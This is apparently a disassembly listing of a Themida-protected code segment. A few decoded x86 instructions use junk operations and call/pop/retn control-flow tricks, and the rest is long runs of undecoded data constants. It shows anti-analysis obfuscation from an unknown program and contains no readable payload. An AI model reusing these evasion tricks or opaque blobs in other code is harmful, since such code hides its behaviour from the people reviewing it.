		sbb	cx, 8054h
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9C5B
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9C74


loc_5B9C5B:				; CODE XREF: Themida_:005B9C50j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9C74:				; CODE XREF: Themida_:005B9C59j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9C94
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_5B9C94:				; CODE XREF: Themida_:005B9C7Bj
		push	edx
		jmp	loc_5B9CA7
; ---------------------------------------------------------------------------
		dw 63BDh
		dd 0AD96F7BBh, 0F97C550Bh
		db 0EEh, 4Dh, 2Eh
; ---------------------------------------------------------------------------


loc_5B9CA7:				; CODE XREF: Themida_:005B9C95j
		pop	edx
		movsx	edx, di
		mov	edi, [ebp+7D131F5h]
		mov	eax, eax
		push	0
		push	edi
		call	sub_5B9CBE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9CBE	proc near		; CODE XREF: Themida_:005B9CB6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B9CBE	endp

; ---------------------------------------------------------------------------
		dw 9ABCh
		dd 2DED109Bh, 6820F9Eh,	1000000h, 0D101C985h, 198D2307h
		dd 0C607D133h, 0D131B585h, 14E95307h, 0
		dd 9A66995Bh, 0DA073A8Dh, 7436998Bh, 0E44F20B7h, 68F14443h
		dd 99395F90h, 30B1BD03h, 0B5FF07D1h, 7D11CC9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 98C35242h, 3BF84F84h
		dd 1858D45h, 6A07D13Bh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 198DC350h, 0FFA73326h
		dd 409266E1h, 0F832BA66h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 534C22C3h, 1858916h
		dd 0F907D118h, 31B585C6h, 0BA5707D1h, 6AB8D0F6h, 4520668h
		dd 0BAC78190h, 0FF732E67h, 0D11CC9B5h, 0AC47B907h, 858D1680h
		dd 7D13B01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	14C35141h, 62340C6Eh, 0DE968h, 0BC770000h, 2BF56DEBh
		dd 439CA329h, 0FFEDAF7Ch, 0D28166D0h, 8589F98Ch, 7D1141Dh
		dd 0AE8h, 0FA74300h, 0C85916Dh,	8AFE7F95h, 85C65AEAh, 7D131B5h
		dd 50006A43h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 6D142ACAh, 0E95ABC38h, 11h, 8E7FE56Fh, 797AA610h
		dd 4F3622D3h, 0F4747D1Ah, 2868F97Ch, 6ABC9070h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 10BFC356h, 85192A01h, 0D1BF0FC4h, 68B0Fh, 0BD890000h
		dd 7D120E1h, 1CC9B5FFh,	953107D1h, 7D13229h, 3B01858Dh
		dd 958B07D1h, 7D113A5h,	89F9D0FFh, 0D133C195h, 79858907h
		dd 6607D117h, 85C6D08Bh, 7D131B5h, 0B70F604Ch, 816661C8h
		dd 68ED5FE9h, 0D9DA1CE9h, 68A0Fh, 8D890000h, 7D12705h
		dd 1CC9B5FFh, 858D07D1h, 7D13B01h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A9C35141h,	0D30AEFD4h, 7DCA8145h
		dd 0FF4E172Fh, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C9A2AF6Bh, 89D1A6C9h
		dd 0D132AD85h, 15BD3307h, 0C607D125h, 0D131B585h, 23604607h
		dd 0D13159B5h, 12E807h,	750B0000h, 821620A8h, 0E7011776h
		dd 522FF2F2h, 85E87888h, 1468615Fh, 89BADE06h, 0D11A199Dh
		dd 0C9B5FF07h, 6A07D11Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 2826C351h, 0AE869h
		dd 0C4B40000h, 0A51B3C2h, 5D898605h, 2B6D8D29h,	8D5F07D1h
		dd 0D13B0185h, 0BE907h,	32CB0000h, 920A198h, 461CB915h
		dd 0E9D0FFEBh, 0Bh, 2E32B993h, 5E85FB8Ah, 89830589h, 0D11EC185h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 9C89337h, 0D117ED8Dh, 0CDF58007h, 1A759589h
		dd 85C607D1h, 7D131B5h,	4D958B47h, 2307D128h, 0D11ADD95h
		dd 0B5E26807h, 0B5FF8A0Fh, 7D11CC9h, 31E59D89h,	858D07D1h
		dd 7D13B01h, 0E180D0FFh, 58589B2h, 0F07D110h, 28Fh, 0C6F88B00h
		dd 0D131B585h, 6A4707h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 683008C3h, 83D0B5F3h, 8AC78166h
		dd 0C9B5FF05h, 6A07D11Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FB4C351h, 0B70FFEBFh
		dd 28D781FBh, 8D22C336h, 0D13B0185h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0B18E8E55h
		dd 11E92874h, 0E5000000h, 2EDC874Eh, 0E8BC068Ch, 0EB093ED9h
		dd 75EAA7F8h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 9F2B33C3h, 0C394DE38h, 27FDBD8Bh
		dd 8D8B07D1h, 7D12C79h,	33BD8589h, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 9E4B69C3h
		dd 6A9FCDAEh, 66D8158Eh, 85C6D68Bh, 7D131B5h, 0E1816677h
		dd 0A3680374h, 1F397A8h, 0D11B4DB5h, 0F9B5FF07h, 8907D130h
		dd 0D10C4595h, 7D958B07h, 8D07D119h, 0D13B0185h, 880F6007h
		dd 6, 20EDB531h, 816607D1h, 618ECADAh, 0ADF28166h, 0FD0FFCAh
		dd 285h, 89FA8B00h, 0D100B585h,	85C6F507h, 7D131B5h, 59BD8B47h
		dd 6807D100h, 8728FAF6h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 77C35242h, 0C0167EB4h, 0DE9C5F2h, 18000000h
		dd 0E42FF445h, 57863B23h, 6C5F6EB9h, 1CC9B5FFh,	665307D1h
		dd 94F3C781h, 1858D5Fh,	6A07D13Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7CD7C357h
		dd 958B2863h, 7D11C29h,	8529D0FFh, 7D121ADh, 30BD8589h
		dd 0BD0307D1h, 7D11AFDh, 31B585C6h, 0F4307D1h, 0C87h, 7E900h
		dd 8B510000h, 0BC39A48Eh, 6EFC6845h, 0BD03BC8Eh, 7D11F49h
		dd 1CC9B5FFh, 0DBBA07D1h, 8D34B541h, 0D13B0185h, 0FD0FF07h
		dd 8589F8BFh, 7D11A79h,	85C6C88Bh, 7D131B5h, 0F9BD8945h
		dd 6807D128h, 8E726969h, 8E5BD89h, 0B5FF07D1h, 7D11CC9h
		dd 2DC5958Bh, 0D18007D1h, 1858DB3h, 8907D13Bh, 0D130519Dh
		dd 0F5D0FF07h, 30918589h, 85C607D1h, 7D131B5h, 0EFB96644h
		dd 0EC6468EEh, 0DE80B8F2h, 0C9B5FFEDh, 8007D11Ch, 858DFBE1h
		dd 7D13B01h, 8A9958Bh, 0D0FF07D1h, 18F18D33h, 858907D1h
		dd 7D1248Dh, 0B70FD68Bh, 0B585C6F9h, 4307D131h,	3C1BD29h
		dd 0A76807D1h, 6AC0764Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 430DC352h, 0F816DFFh
		dd 683h, 0C9B53100h, 0FF07D122h, 0D11CC9B5h, 8DD08B07h
		dd 0D13B0185h, 0FFBF0F07h, 9533D0FFh, 7D12765h,	27098589h
		dd 0FDBF07D1h, 801A4D83h, 0D42EE4BDh, 840F0007h, 0E2h
		dd 19F9BD03h, 858D07D1h, 7D42EC6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 4FC35343h, 30BA2B4Ah, 5010F4B6h
		dd 1FB58D8Bh, 0BF0F07D1h, 60016ACEh, 8B66F98Bh,	8D8B61DFh
		dd 7D11499h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 29954EC3h, 6A1949E5h, 8B606000h
		dd 0D12D7585h, 58D3107h, 6107D122h, 0FF61FB8Bh,	0D1177995h
		dd 49958907h, 8907D120h, 0D11EDD85h, 0FBB70F07h, 9589FF6Ah
		dd 7D119CDh, 1EDDB5FFh,	8A0F07D1h, 6, 2C819503h, 95FF07D1h
		dd 7D1141Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0BC35747h, 6346E4A4h, 0E53D147Ah, 5E9h,	0CE4D0E00h
		dd 0C08B830Eh, 0B18D8951h, 5A07D119h, 3405BD83h, 750007D1h
		dd 49BD8309h, 7D128h, 53501974h, 0D1B8C08Bh, 89000007h
		dd 0D113D585h, 0B09D8D07h, 0FF07D3E1h, 83585BD3h, 0D12849BDh
		dd 17740007h, 0D1B85350h, 89000007h, 0D113D585h, 9F9D8D07h
		dd 0FF07D3DEh, 8B585BD3h, 0D113B58Dh, 9D896007h, 7D10ECDh
		dd 0EBE78166h, 0C08B61AAh, 0FE8h, 0C6359000h, 0BE92941h
		dd 0C1661E31h, 0C091AE9Ah, 0FD1BD8Bh, 665F07D1h, 0C6FAB6BAh
		dd 0D131B585h, 95014707h, 7D10FB9h, 0C8F7C168h,	0BD896093h
		dd 7D11F29h, 61F08B66h,	1D419589h, 0B5FF07D1h, 7D11CC9h
		dd 6519D09h, 858D07D1h,	7D13B01h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h
		dd 7CC35343h, 8B60C35Ah, 0D12A7D9Dh, 0AE807h, 62D0000h
		dd 0BC65D5B3h, 6564A3F1h, 13D19D8Bh, 615807D1h,	958BD0FFh
		dd 7D11065h, 0C2816650h, 858D2881h, 7D43307h, 0F34FC281h
		dd 0C74683h, 94h, 2025BD8Bh, 0E95807D1h, 0Dh, 577C0B8Eh
		dd 0EDFAADDFh, 9D4BC67Fh, 0CCBF6627h, 7B58DB2h,	8B07D433h
		dd 8E956D3h, 0B1000000h, 78FDAC27h, 0FF565687h,	57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0B347965h, 0D1308195h, 6880F07h, 81000000h, 5B9AACEAh
		dd 7858D11h, 6A07D433h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7E8CC352h, 13C697BEh
		dd 8307C51Bh, 0F060478h, 3085h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 79B958DBh
		dd 9B85C750h, 107D433h,	8B000000h, 0D10EF18Dh, 0D1BD8307h
		dd 7D125h, 98850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 150424h, 56460000h, 292D26C3h, 0D12EF185h
		dd 9BBD8307h, 7D433h, 68850Fh, 7E90000h, 13000000h, 0BC7679B7h
		dd 0BD832C78h, 7D122B9h, 4F840F00h, 60000000h, 0E9FBBF0Fh
		dd 10h,	0AFD4E958h, 0FD9B8DB5h,	9CA592DDh, 2349CFBDh, 0D585C761h
		dd 7D133h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 33C0C353h, 860F0E99h, 6, 181958Bh
		dd 8C6607D1h, 75B589DBh, 0F607D114h, 840F04C3h,	54Eh, 15E1BD8Bh
		dd 0C7F507D1h, 0D1171585h, 7, 0C9958900h, 0BF07D124h, 60203E2Ch
		dd 2EF1BD80h, 0F0007D4h, 385h, 0FEB70F00h, 31B585C6h, 6A4707D1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3A7DC352h, 3D205517h, 5B866899h, 8D29E3E4h
		dd 7D10C65h, 1CC9B5FFh,	7DBA07D1h, 8D041645h, 0D13B0185h
		dd 0FFF9B207h, 7E9D0h, 0FF040000h, 57DF4164h, 1046848h
		dd 0B70F0000h, 999D8DD0h, 6607D102h, 0B60DF281h, 0FFF58A53h
		dd 81F181D0h, 951053Ah,	0D12CE19Dh, 99858D07h, 0F507D102h
		dd 85B96650h, 0A3858D2Ah, 6A07D42Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BCD1C350h
		dd 6DF99D3Dh, 0AE4DB966h, 50CEBF0Fh, 2321BD29h,	858D07D1h
		dd 7D42576h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	4BC35343h, 1BE75084h, 0DD9523B9h, 0F07D133h, 68Ch
		dd 0CD958B00h, 5007D10Eh, 11E8h, 9E048300h, 0AE9DD091h
		dd 89F9F152h, 0FAA4E1Eh, 8B6661B6h, 95FF59F9h, 7D100B5h
		dd 2FA98D8Bh, 0C48307D1h, 78B9660Ch, 68006AC7h,	80h, 6A036Ah
		dd 68006Ah, 8D800000h, 0D4257685h, 95FF5007h, 7D11A79h
		dd 2E868589h, 85C607D4h, 7D131B5h, 5E876847h, 0B5FFC7B1h
		dd 7D11CC9h, 3B01858Dh,	0D0FF07D1h, 0B5FF006Ah,	7D42E86h
		dd 958BD0FFh, 7D11365h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 4EC35141h, 958B087Ch,	7D103A5h, 37D03Dh
		dd 7B830F00h, 0E8000000h, 6, 86BB725h, 950BF648h, 7D1058Dh
		dd 86B5FF5Ah, 6A07D42Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 258BC352h, 29735949h
		dd 0D1212585h, 995FF07h, 6A07D127h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3A9C353h
		dd 8DDC7CE2h, 33C0625Ch, 0D118CD95h, 108E907h, 81560000h
		dd 0C4D205E1h, 0B5FF5919h, 7D42E86h, 0ADB589h, 958B07D1h
		dd 7D1001Dh, 270995FFh,	5E807D1h, 47000000h, 0DE8730A9h
		dd 896059F5h, 0D115E1B5h, 0C98D8907h, 6107D130h, 6E9006Ah
		dd 0D8000000h, 37EC486Eh, 89006ADBh, 0D121759Dh, 958B6007h
		dd 7D1324Dh, 2831B589h,	6A6107D1h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9C2574ECh
		dd 2A51BD29h, 5E807D1h,	2F000000h, 60179FB0h, 59CEBF0Fh
		dd 8529006Ah, 7D126BDh,	0BF0F006Ah, 89006AC8h, 0D11C258Dh
		dd 8A858D07h, 5007D42Eh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 0F0C35040h, 0B7C8D6B0h, 0E87D3814h, 11h
		dd 14D11384h, 0B5E88862h, 2BD531D0h, 0A49A1749h, 0D1B70F15h
		dd 0B1D5BF59h, 95FF4E41h, 7D11A79h, 13718589h, 0F88307D1h
		dd 18850FFFh, 0F000001h, 858DF9B7h, 7D3E956h, 0F98B6657h
		dd 0FABF0F5Ah, 6AD0FFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F954CEC3h, 8C0F006Ah, 6, 150DBD31h
		dd 816607D1h, 6A29B4DAh, 0BC5DB900h, 6A222Dh, 0C75BD8Bh
		dd 6A07D1h, 0F006AFCh, 6AD2BFh,	281D8D8Bh, 8B6007D1h, 0D12E9195h
		dd 399D8907h, 6107D12Eh, 2E8A858Dh, 0BA6607D4h,	6A5014D0h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0D858C352h, 7995FFBFh, 8307D11Ah,	850FFFF8h
		dd 6Fh,	10E9h, 4F908400h, 7265EB54h, 0BFC079C9h, 0F82FD828h
		dd 92B58D1Bh, 6607D428h, 8D02AABAh, 0D3D40F85h,	99858907h
		dd 0FF07D118h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 7BA58BA6h, 8E9h, 336C8E00h
		dd 21E24685h, 89006A38h, 0D130D19Dh, 0F6B96607h, 9195FF51h
		dd 6607D130h, 89D39AB9h, 0D42E8685h, 68B0F07h, 89000000h
		dd 0D1196585h, 0E9B96607h, 0E9006A5Ah, 11h, 0F82A467Dh
		dd 2B4E014Ch, 69E27EE8h, 0EC1CFFACh, 0D1BD8B0Bh, 8D07D101h
		dd 0D42E7E85h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 4865194Ah, 0B09A8B2Dh
		dd 0C1807350h, 0E78153FBh, 5AD89389h, 9589505Fh, 7D101D1h
		dd 958B046Ah, 7D10C75h,	915858Dh, 8B6607D1h, 6A50D3h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 1FFA87C3h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 67E24C3h, 64E3224Eh, 0BA667EA5h
		dd 6A65EFh, 6AF88B66h, 99BD8B01h, 0FF07D11Fh, 0D42E86B5h
		dd 0F1858907h, 0FF07D118h, 0D1248D95h, 87B96607h, 1D04E92Ch
		dd 0C08B0000h, 9E9h, 0A9DDAA00h, 6DB9A40Eh, 0BD835A8Bh
		dd 7D13405h, 83097500h,	0D12849BDh, 19740007h, 0C08B5350h
		dd 7D2B8h, 0D5858900h, 8D07D113h, 0D3E1B09Dh, 5BD3FF07h
		dd 49BD8358h, 7D128h, 53501774h, 7D2B8h, 0D5858900h, 8D07D113h
		dd 0D3DE9F9Dh, 5BD3FF07h, 0A4F78158h, 897B6BDEh, 0D121658Dh
		dd 6AC08B07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0D741C353h, 1585C798h,	107D117h
		dd 0B9000000h, 25706732h, 11059D89h, 0B86807D1h, 0FFCEE4E7h
		dd 0D12D09B5h, 1858D07h, 0FF07D13Bh, 0C58589D0h, 8D07D103h
		dd 0D430E285h, 858D5007h, 7D4339Fh, 16850h, 95FF8000h
		dd 7D103C5h, 0A75C00Bh,	187985C7h, 107D1h, 0D4680000h
		dd 0FFC005DBh, 0D12D09B5h, 1858D07h, 0FF07D13Bh
		dd 698589D0h, 8D07D134h, 0D4232F85h, 0B5FF5007h, 7D11CC9h
		dd 100595FFh, 0C00B07D1h, 0D88B0B74h, 32E2858Dh, 0FF5007D4h
		dd 0E2858DD3h, 6607D432h, 75093883h, 1185C70Ah,	107D11Eh
		dd 0FF000000h, 0D130BD95h, 0FF2507h, 0F8830000h, 0C70A7305h
		dd 0D10EED85h, 107h, 0ED958B00h, 0E907D12Dh, 8,	9DEC2EFCh
		dd 0E97F3612h, 2EF1BD80h, 0F0007D4h, 2384h, 0D7816600h
		dd 0BD832FD3h, 7D4339Bh, 1C840F00h, 0E8000000h,	5, 24A622E3h
		dd 599589E6h, 5907D11Dh, 1B75E9h, 419D8900h, 8307D11Dh
		dd 0D11E11BDh, 850F0007h, 0EAh,	1C399589h, 858D07D1h, 7D42EBBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2C35242h
		dd 2850Fh, 6DB60000h, 1955B509h, 0E85007D1h, 10h, 66B13023h
		dd 812ECB22h, 0A08E4FEAh, 0F00D8BCEh, 109A9ABFh, 16A597Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 14C35141h
		dd 0A82F884Fh, 6AEB7Ah,	2BFB8B66h, 0D11BA5BDh, 9006A07h
		dd 0D126B5B5h, 7995FF07h, 8B07D117h, 0D1314595h, 0E5858907h
		dd 8007D42Eh, 0FF6A92F1h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0FFC35040h, 7C0D5F15h, 9D958B71h, 8B07D11Eh
		dd 0D1335995h, 0E5B5FF07h, 0F907D42Eh, 141D95FFh, 0BE907D1h
		dd 38000000h, 96026C4Fh, 0B625F682h, 858D697Fh,	7D422F6h
		dd 2A91BD8Bh, 95007D1h,	0D1141985h, 0AD95FF07h,	0E807D132h
		dd 5, 0BFCC8477h, 895FF944h, 0D4238085h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0DF815A75h, 4411E9D4h, 8DD18B66h, 0D4230385h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 1E65FF0Bh, 0F459D09h, 8B6607D1h, 0E7BF66CBh,	890F5045h
		dd 6, 765BD89h,	0B5FF07D1h, 7D42380h, 38CF8160h, 3107C62Eh
		dd 0D11691BDh, 85896107h, 7D11C69h, 100595FFh, 830F07D1h
		dd 5, 516EB1B9h, 0D1858906h, 0E807D100h, 13h, 13D4BD8Bh
		dd 3DEA7F21h, 29E8ECEBh, 84A7B252h, 0F5CB1E7Ch,	71858D59h
		dd 307D423h, 0D100ADBDh, 0B9665007h, 0B5FFB6C9h, 7D42380h
		dd 0FCF8B66h, 582h, 0E7816600h,	95FFDF6Ah, 7D11005h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7BC35040h, 4888C2C3h
		dd 0BD89FD76h, 7D12DA9h, 0BE9h,	5701E700h, 95557A8Ah, 0DB09CE8Eh
		dd 0C59B531h, 858907D1h, 7D42394h, 50858DF5h, 0B607D423h
		dd 29958B87h, 5007D102h, 11E9h,	0D1FF5700h, 36E594E8h
		dd 0BE99C3E8h, 0E0C22B18h, 0B5FF9EDAh, 7D42380h, 100595FFh
		dd 958907D1h, 7D1160Dh,	238C8589h, 6A07D4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4AA276C3h
		dd 0EFB22AA0h, 60D51D58h, 2F11BD2Bh, 0CB8B07D1h, 43858D61h
		dd 5307D423h, 13E9h, 0AF580100h, 0C28FDF29h, 281C1BDCh
		dd 830D440Fh, 0CECF0C57h, 8D295059h, 7D12E99h, 2380B5FFh
		dd 0EE807D4h, 55000000h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h
		dd 99B589EAh, 5907D100h, 100595FFh, 6A07D1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8589A9C3h
		dd 7D42390h, 0C0F58050h, 8DD78B5Ah, 0D4235E85h,	68D0F07h
		dd 1000000h, 0D11C59BDh, 38B25007h, 2380B5FFh, 6A07D4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A82AD6C3h, 8D8B9EEFh, 7D128F9h, 3E59589h, 95FF07D1h
		dd 7D11005h, 89F9BF0Fh,	0D11BF585h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4781D567h
		dd 7BBBE7B0h, 9E9BFC6h,	8E000000h, 0C95716BFh, 315E7D54h
		dd 25A5BD8Bh, 858D07D1h, 7D42312h, 250D8D8Bh, 606007D1h
		dd 26C5B58Bh, 0F96107D1h, 0D38B5061h, 2380B5FFh, 6A07D4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 637F70C3h, 100595FFh, 0AE907D1h, 32000000h, 4BFA1BD2h
		dd 9AFB91h, 8485891Ch, 8A07D423h, 21858DD0h, 6007D423h
		dd 1F859589h, 0B70F07D1h, 665061D9h, 6CD5CA81h,	2380B5FFh
		dd 0B76007D4h, 0D88B666Ch, 595FF61h, 107D110h, 0D122D99Dh
		dd 88858907h, 2907D423h, 0D1182D9Dh, 1046807h, 8D890000h
		dd 7D1057Dh, 2418858Dh,	6A07D4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8A5242C3h, 6A50D0h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 840F2FC3h, 6, 1705958Bh, 12E907D1h, 37000000h, 68908792h
		dd 913AFF9Ah, 0A637D134h, 866181E7h, 1C858DADh,	6007D425h
		dd 2CF5B58Bh, 8B6607D1h, 0E85061DFh, 10h, 0EF89B81Eh, 0C29228A9h
		dd 85EC3681h, 198A1479h, 1AC18D89h, 0FF5A07D1h,	0D133BD95h
		dd 13E807h, 43220000h, 0F4A722AAh, 0CCD418C1h, 0C04852EFh
		dd 0E70F41B4h, 0BE960h,	9500000h, 0EF4D69E5h, 0E1B0716Dh
		dd 890F5931h, 0Ch, 68B0Fh, 958B0000h, 7D10F71h,	850FC085h
		dd 28h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 2EC35040h, 6499B9B8h, 0BD8BDE2Bh, 7D1211Dh, 2EF1BD80h
		dd 0F0007D4h, 0F85h, 71B58900h,	0E907D100h, 15FEh, 27FDBF66h
		dd 1E11BD83h, 0F0007D1h, 1C85h,	0F8E78100h, 837AAE14h
		dd 0D4339BBDh, 840F0007h, 42h, 195D9529h, 0CD8007D1h, 0B5858DA6h
		dd 8907D423h, 0D12C41BDh, 15C0E907h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0EF295FC3h
		dd 0F99E5CC9h, 0FE9A8h,	858D0000h, 7D423A0h, 6DD9531h
		dd 8B6607D1h, 6A50FBh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0BE553DC3h, 89F8B13Ch, 0D101A59Dh
		dd 18858D07h, 8B07D424h, 0D11CDD95h, 9D295007h,	7D132B1h
		dd 0B364C2BFh, 11BD8365h, 7D11Eh, 21840Fh, 0CB8B0000h
		dd 29999509h, 858D07D1h, 7D4253Eh, 0CD7959BFh, 15E938h
		dd 0B0600000h, 0E08166CDh, 8D612D1Fh, 0D4252785h, 7DBD0307h
		dd 5007D10Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	1EC35646h, 55F17664h, 12AB425Ah, 8D3DB2A4h, 0D4257685h
		dd 0DE807h, 0B6870000h,	0E073CAE9h, 0B557A2A5h,	66B031C5h
		dd 5059CA8Bh, 1B618D8Bh, 95FF07D1h, 7D100B5h, 1F498D8Bh
		dd 0C48307D1h, 9C08B10h, 0D12BC59Dh, 5BD8307h, 7D134h
		dd 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h,	7D3h, 13D58589h
		dd 9D8D07D1h, 7D3E1B0h,	585BD3FFh, 2849BD83h, 740007D1h
		dd 0B8535017h, 7D3h, 13D58589h,	9D8D07D1h, 7D3DE9Fh, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 52C35747h
		dd 8BF88B66h, 5958BC0h,	8107D125h, 0D423A0BDh, 65726F07h
		dd 0BD840F61h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h
		dd 42000000h, 5D9FC352h, 154AB9BBh, 314668FCh, 0D11D2DBDh
		dd 0DE907h, 0CB930000h,	0C5A2D3F9h, 5B07F1F8h, 8D91A466h
		dd 0D4241885h, 858D5007h, 7D42555h, 76858D50h, 5007D425h
		dd 0B595FFh, 0C48307D1h, 0B585C60Ch, 4407D131h,	0A3184F68h
		dd 0C9B5FF96h, 8D07D11Ch, 0D13B0185h, 8BD0FF07h, 76858DD8h
		dd 5007D425h, 858DD3FFh, 7D423A0h, 18858D50h, 5007D424h
		dd 1E11BD83h, 740007D1h, 3E858D08h, 0EB07D425h,	27858D06h
		dd 5007D425h, 2576858Dh, 0FF5007D4h, 0D100B595h, 10C48307h
		dd 9D89D68Bh, 7D101FDh,	30BD95FFh, 0BF0F07D1h, 0FF25D0h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0CABF92C3h, 0ADB25049h, 89D6CDEFh, 0D12B598Dh
		dd 6830F07h, 23000000h,	0D1000595h, 5F88307h, 31830Fh
		dd 0D08A0000h, 0EED85C7h, 107D1h, 0B5310000h, 7D13165h
		dd 9E9h, 21C27200h, 0E04E3418h,	858D4CB6h, 7D423D4h, 10C9958Bh
		dd 6EE907D1h, 83000000h, 0D11E11BDh, 840F0007h,	1Ah, 8DFFBF0Fh
		dd 0D423FF85h, 0FD9D0907h, 0E907D116h, 4Dh, 8ADBD2Bh, 858D07D1h
		dd 7D423E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	6AC35040h, 93D43DBDh, 0B70F9177h, 10E9h, 0B857CF00h
		dd 7F480798h, 1451B5CBh, 2183D7E2h, 9D89504Fh, 7D12D5Dh
		dd 1485895Fh, 8B07D424h, 0D12C1DBDh, 11BD8307h,	7D11Eh
